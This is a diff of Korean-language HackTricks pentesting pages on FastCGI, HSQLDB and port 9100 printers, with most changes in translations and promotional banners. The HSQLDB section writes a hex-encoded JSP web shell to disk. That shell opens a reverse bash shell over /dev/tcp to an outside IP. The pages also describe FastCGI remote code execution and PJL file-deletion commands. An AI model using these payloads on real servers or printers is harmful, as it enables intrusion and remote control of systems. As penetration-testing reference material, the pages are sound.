* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,31 +1,32 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# 기본 정보
|
# 기본 정보
|
||||||
|
|
||||||
**FastCGI가 무엇인지** 알고 싶다면 다음 페이지를 확인하세요:
|
**FastCGI**가 무엇인지 배우고 싶다면 다음 페이지를 확인하세요:
|
||||||
|
|
||||||
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
|
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
|
||||||
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
|
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
기본적으로 **FastCGI**는 **포트** **9000**에서 실행되며 nmap에서 인식되지 않습니다. **일반적으로** FastCGI는 **로컬호스트**에서만 수신합니다.
|
기본적으로 **FastCGI**는 **포트** **9000**에서 실행되며 nmap에 의해 인식되지 않습니다. **보통** FastCGI는 **localhost**에서만 수신 대기합니다.
|
||||||
|
|
||||||
# RCE
|
# RCE
|
||||||
|
|
||||||
FastCGI가 임의의 코드를 실행하는 것은 매우 쉽습니다:
|
FastCGI가 임의의 코드를 실행하도록 만드는 것은 매우 쉽습니다:
|
||||||
```bash
|
```bash
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
|
@ -47,17 +48,17 @@ done
|
||||||
```
|
```
|
||||||
또는 다음 파이썬 스크립트를 사용할 수도 있습니다: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
|
또는 다음 파이썬 스크립트를 사용할 수도 있습니다: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가로 배우세요</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)에서 **팔로우**하세요.
|
|
||||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,21 +1,22 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# 기본 정보
|
# 기본 정보
|
||||||
|
|
||||||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)**는 자바로 작성된 주요 SQL 관계형 데이터베이스 시스템입니다. 이는 작고 빠른 멀티스레드 및 트랜잭션 데이터베이스 엔진을 제공하며 인메모리 및 디스크 기반 테이블을 지원하며 내장 및 서버 모드를 지원합니다.
|
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)**는 Java로 작성된 주요 SQL 관계형 데이터베이스 시스템입니다. 메모리 내 및 디스크 기반 테이블을 지원하며, 내장 및 서버 모드를 지원하는 작고 빠른 다중 스레드 및 트랜잭션 데이터베이스 엔진을 제공합니다.
|
||||||
|
|
||||||
**기본 포트:** 9001
|
**기본 포트:** 9001
|
||||||
```text
|
```text
|
||||||
|
@ -25,31 +26,33 @@ HackTricks를 지원하는 다른 방법:
|
||||||
|
|
||||||
### 기본 설정
|
### 기본 설정
|
||||||
|
|
||||||
기본적으로 이 서비스는 메모리에서 실행되거나 로컬호스트에 바인딩되어 있을 가능성이 있습니다. 찾았다면, 아마도 다른 서비스를 공격하여 권한 상승을 시도하고 있을 것입니다.
|
기본적으로 이 서비스는 메모리에서 실행되거나 localhost에 바인딩되어 있을 가능성이 높습니다. 이를 발견했다면, 아마 다른 서비스를 이용해 취약점을 이용하고 권한 상승을 시도하고 있는 것입니다.
|
||||||
|
|
||||||
기본 자격 증명은 일반적으로 비밀번호가 비어있는 `sa`입니다.
|
기본 자격 증명은 일반적으로 비밀번호가 없는 `sa`입니다.
|
||||||
|
|
||||||
다른 서비스를 공격했다면, 가능한 자격 증명을 찾기 위해 검색하세요.
|
다른 서비스를 이용해 취약점을 이용했다면, 가능한 자격 증명을 검색하십시오.
|
||||||
```text
|
```text
|
||||||
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
||||||
```
|
```
|
||||||
# 정보 수집
|
Note the database name carefully - you’ll need it to connect.
|
||||||
|
|
||||||
HSQLDB를 [다운로드](https://sourceforge.net/projects/hsqldb/files/)하고 `hsqldb/lib/hsqldb.jar`를 추출하여 DB 인스턴스에 연결합니다. `java -jar hsqldb.jar`를 사용하여 GUI 앱을 실행하고 발견된/약한 자격 증명을 사용하여 인스턴스에 연결합니다.
|
# Info Gathering
|
||||||
|
|
||||||
원격 시스템의 연결 URL은 다음과 같이 보일 것입니다: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
DB 인스턴스에 연결하려면 [HSQLDB 다운로드](https://sourceforge.net/projects/hsqldb/files/) 후 `hsqldb/lib/hsqldb.jar`를 추출하세요. `java -jar hsqldb.jar`를 사용하여 GUI 앱 \(eww\)을 실행하고 발견된/약한 자격 증명을 사용하여 인스턴스에 연결하세요.
|
||||||
|
|
||||||
# 트릭
|
원격 시스템의 경우 연결 URL은 다음과 비슷하게 보일 것입니다: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
||||||
|
|
||||||
## 자바 언어 루틴
|
# Tricks
|
||||||
|
|
||||||
HSQLDB에서 Java 언어 루틴을 사용하여 Java 클래스의 정적 메서드를 호출할 수 있습니다. 호출된 클래스는 응용 프로그램의 클래스 경로에 있어야 합니다.
|
## Java Language Routines
|
||||||
|
|
||||||
JRT는 `함수` 또는 `프로시저`일 수 있습니다. 함수는 Java 메서드가 하나 이상의 SQL 호환 기본 변수를 반환하는 경우 SQL 문을 통해 호출할 수 있습니다. `VALUES` 문을 사용하여 호출됩니다.
|
HSQLDB에서 Java Language Routines를 사용하여 Java 클래스의 정적 메서드를 호출할 수 있습니다. 호출된 클래스는 애플리케이션의 클래스 경로에 있어야 합니다.
|
||||||
|
|
||||||
호출할 Java 메서드가 void를 반환하는 경우 `CALL` 문을 사용하여 호출해야 합니다.
|
JRT는 `functions` 또는 `procedures`일 수 있습니다. 함수는 Java 메서드가 하나 이상의 SQL 호환 기본 변수를 반환하는 경우 SQL 문을 통해 호출할 수 있습니다. `VALUES` 문을 사용하여 호출됩니다.
|
||||||
|
|
||||||
## Java 시스템 속성 읽기
|
우리가 호출하려는 Java 메서드가 void를 반환하는 경우, `CALL` 문으로 호출되는 프로시저를 사용해야 합니다.
|
||||||
|
|
||||||
|
## Reading Java System Properties
|
||||||
|
|
||||||
함수 생성:
|
함수 생성:
|
||||||
```text
|
```text
|
||||||
|
@ -57,27 +60,17 @@ CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
|
||||||
DETERMINISTIC NO SQL
|
DETERMINISTIC NO SQL
|
||||||
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
|
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
|
||||||
```
|
```
|
||||||
```python
|
함수 실행:
|
||||||
def execute_function():
|
|
||||||
# Code to execute the function goes here
|
|
||||||
pass
|
|
||||||
```
|
|
||||||
|
|
||||||
```python
|
|
||||||
def execute_function():
|
|
||||||
# 함수를 실행하는 코드를 여기에 작성합니다
|
|
||||||
pass
|
|
||||||
```
|
|
||||||
```text
|
```text
|
||||||
VALUES(getsystemproperty('user.name'))
|
VALUES(getsystemproperty('user.name'))
|
||||||
```
|
```
|
||||||
[여기에서 시스템 속성 목록을 찾을 수 있습니다](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
You can find a [list of system properties here](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
||||||
|
|
||||||
## 파일에 내용 작성하기
|
## 파일에 내용 쓰기
|
||||||
|
|
||||||
JDK에 위치한 `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` 자바 가젯을 사용하여 사용자 정의 절차를 통해 16진수로 인코딩된 항목을 디스크에 작성할 수 있습니다. **최대 크기는 1024바이트입니다**.
|
JDK에 위치한 `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java 가젯을 사용하여 사용자 정의 프로시저를 통해 16진수 인코딩된 항목을 디스크에 쓸 수 있습니다. **최대 크기는 1024 바이트입니다**.
|
||||||
|
|
||||||
절차 생성:
|
프로시저 생성:
|
||||||
```text
|
```text
|
||||||
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
|
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
|
||||||
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
|
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
|
||||||
|
@ -87,16 +80,17 @@ LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
|
||||||
```text
|
```text
|
||||||
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
|
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,23 +1,24 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 제출**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# 기본 정보
|
# 기본 정보
|
||||||
|
|
||||||
[여기](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing)에서는 Raw 프린팅을 네트워크 프린터의 9100/tcp 포트에 연결하는 과정으로 정의합니다. CUPS와 Windows 프린팅 아키텍처에서는 네트워크 프린터와 통신하기 위해 '가장 간단하고 빠르며 일반적으로 가장 신뢰할 수 있는 프린터 네트워크 프로토콜'로 간주되기 때문에 기본 방법으로 사용됩니다. 실제로 Raw 포트 9100 프린팅은 JetDirect, AppSocket 또는 PDL-datastream으로도 알려져 있지만 **자체적인 프린팅 프로토콜은 아닙니다**. 대신 **모든 데이터가 프린팅 장치에서 직접 처리**되는 것이며, 마치 TCP를 통한 병렬 연결과 같습니다. LPD, IPP 및 SMB와 달리 이는 상태 및 오류 메시지를 포함한 직접적인 피드백을 클라이언트에게 보낼 수 있습니다. 이러한 **양방향 채널**은 **PJL**, **PostScript** 또는 **PCL** 명령의 **결과에 직접 액세스**할 수 있게 해줍니다. 따라서 거의 모든 네트워크 프린터에서 지원되는 Raw 포트 9100 프린팅은 PRET 및 PFT를 사용한 보안 분석을 위한 채널로 사용됩니다.
|
[여기](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing)에서: 원시 인쇄는 네트워크 프린터의 9100/tcp 포트에 연결하는 과정을 정의합니다. 이는 CUPS와 Windows 인쇄 아키텍처가 네트워크 프린터와 통신하는 데 사용하는 기본 방법으로, ‘_프린터에 사용되는 가장 간단하고 빠르며 일반적으로 가장 신뢰할 수 있는 네트워크 프로토콜_’로 간주됩니다. 원시 포트 9100 인쇄는 JetDirect, AppSocket 또는 PDL 데이터 스트림이라고도 하며 실제로 **자체적으로 인쇄 프로토콜이 아닙니다**. 대신 **전송된 모든 데이터는 인쇄 장치에 의해 직접 처리됩니다**, 마치 TCP를 통한 병렬 연결처럼. LPD, IPP 및 SMB와 대조적으로, 이는 클라이언트에게 상태 및 오류 메시지를 포함한 직접 피드백을 보낼 수 있습니다. 이러한 **양방향 채널**은 **PJL**, **PostScript** 또는 **PCL** 명령의 **결과**에 대한 직접 **접근**을 제공합니다. 따라서 거의 모든 네트워크 프린터에서 지원되는 원시 포트 9100 인쇄는 PRET 및 PFT와 함께 보안 분석을 위한 채널로 사용됩니다.
|
||||||
|
|
||||||
[**프린터 해킹에 대해 더 알아보려면 이 페이지를 읽으세요**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
프린터 해킹에 대해 더 알고 싶다면 [**이 페이지를 읽어보세요**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||||
|
|
||||||
**기본 포트:** 9100
|
**기본 포트:** 9100
|
||||||
```
|
```
|
||||||
|
@ -42,22 +43,7 @@ nc -vn <IP> 9100
|
||||||
@PJL FSDOWNLOAD #Useful to download a file
|
@PJL FSDOWNLOAD #Useful to download a file
|
||||||
@PJL FSDELETE #Useful to delete a file
|
@PJL FSDELETE #Useful to delete a file
|
||||||
```
|
```
|
||||||
## 자동
|
## 자동화
|
||||||
|
|
||||||
PJL (Printer Job Language)은 프린터와 통신하기 위해 사용되는 명령어 세트입니다. PJL은 프린터의 상태를 확인하고 제어하기 위해 사용됩니다. PJL 명령어는 프린터에 대한 다양한 작업을 수행할 수 있습니다.
|
|
||||||
|
|
||||||
PJL 명령어를 사용하여 프린터를 자동으로 조작할 수 있습니다. 이를 통해 다양한 작업을 수행할 수 있으며, 예를 들어 프린터의 설정을 변경하거나 프린터에서 문서를 인쇄할 수 있습니다.
|
|
||||||
|
|
||||||
자동 PJL 스크립트를 작성하는 것은 프린터 펜테스팅에서 유용한 기술입니다. 이를 통해 프린터의 취약점을 식별하고 악용할 수 있습니다. 자동 PJL 스크립트를 사용하여 프린터를 조작하고 정보를 추출하는 것은 펜테스터에게 큰 이점을 제공할 수 있습니다.
|
|
||||||
|
|
||||||
PJL 명령어를 사용하여 프린터를 자동으로 조작하는 방법에 대한 자세한 내용은 다음과 같습니다.
|
|
||||||
|
|
||||||
- PJL 명령어 문법 및 구문 이해
|
|
||||||
- 프린터의 상태 및 설정을 확인하는 명령어 사용
|
|
||||||
- 프린터에서 문서를 인쇄하는 명령어 사용
|
|
||||||
- 프린터의 설정을 변경하는 명령어 사용
|
|
||||||
|
|
||||||
자동 PJL 스크립트를 작성하여 프린터를 조작하고 정보를 추출하는 것은 펜테스팅 작업에서 매우 유용합니다. 이를 통해 프린터의 취약점을 식별하고 악용할 수 있으며, 시스템에 대한 깊은 이해를 얻을 수 있습니다.
|
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script pjl-ready-message -p <PORT> <IP>
|
nmap -sV --script pjl-ready-message -p <PORT> <IP>
|
||||||
```
|
```
|
||||||
|
@ -74,7 +60,7 @@ msf> use auxiliary/scanner/printer/printer_delete_file
|
||||||
```
|
```
|
||||||
## 프린터 해킹 도구
|
## 프린터 해킹 도구
|
||||||
|
|
||||||
프린터를 악용하기 위해 사용할 수 있는 도구입니다:
|
이것은 프린터를 악용하는 데 사용할 도구입니다:
|
||||||
|
|
||||||
{% embed url="https://github.com/RUB-NDS/PRET" %}
|
{% embed url="https://github.com/RUB-NDS/PRET" %}
|
||||||
|
|
||||||
|
@ -83,16 +69,17 @@ msf> use auxiliary/scanner/printer/printer_delete_file
|
||||||
* `pjl port:9100`
|
* `pjl port:9100`
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* 회사를 **HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
